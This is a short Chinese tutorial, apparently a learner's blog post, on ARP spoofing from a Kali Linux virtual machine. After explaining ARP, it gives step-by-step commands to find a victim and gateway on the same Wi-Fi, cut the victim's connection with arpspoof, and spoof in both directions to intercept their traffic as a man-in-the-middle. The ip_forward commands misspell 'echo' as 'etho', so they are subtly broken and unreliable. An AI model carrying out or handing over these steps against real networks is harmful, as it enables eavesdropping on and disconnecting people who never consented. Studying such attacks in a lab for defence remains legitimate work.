本教程使用的工具:
vmware虚拟机:
kaili
将kaili安装到虚拟机中
什么是arp
ARP:地址解析协议 ,是位于网络层的协议,用于在IPV4 地址和MAC 地址之间进行映射。
工作原理:
通过广播发送ARP查询请求目的IP的MAC地址,与发送方处于同一广播域的主机收到该请求后,如果确认查询的ip是本机,则单播回应本机的MAC地址;如果发现查询的不是本机ip,则不回应;
什么是arp欺骗:
arp协议是无连接的,没有安全机制来验证响应的真实性,而且arp缓存还是后来者优先,可以被后来的响应更新。所以在局域网中,arp攻击者通过发送伪造的arp响应包或请求,使得局域网内的主机或网关更新其ARP缓存表中的IP地址与MAC地址的映射关系,从而将流量错误地发送到攻击者指定的MAC地址。
废话不多说接下来实操
前提攻击者和被攻击者处于同一局域网中(通俗讲,就是同一wifi中)
获取被攻击者ip
命令行:输入ipconfig
获取ipv4地址后的数据
获取网关地址:
打开kaili ,命令行中进行操作:
1.输入 sudo su ,然后输入密码 进入超级用户
2.输入 route -n ,第一行第二列的ip地址即为网关地址
确认被攻击者是否存活:
fping -g 网关地址/24
存活主机的IP
确认目标主机存活后
输入命令:
arpspoof -i eth0 -t 目标主机ip 网关ip
运行后目标主机则被断网
输入命令:
etho 1 > /proc/sys/net/ipv4/ip_forward (1 为ip转发模式)
etho 0 > /proc/sys/net/ipv4/ip_forward(0为断网模式)
输入命令:
arpspoof -i eth0 -t 网关ip 目标主机ip
则可以双向arp欺骗,就是可以充当中间人,获取目标主机向网关发送的信息
进而可以使用抓包工具解析数据包 ,暂时没有学会如何解析数据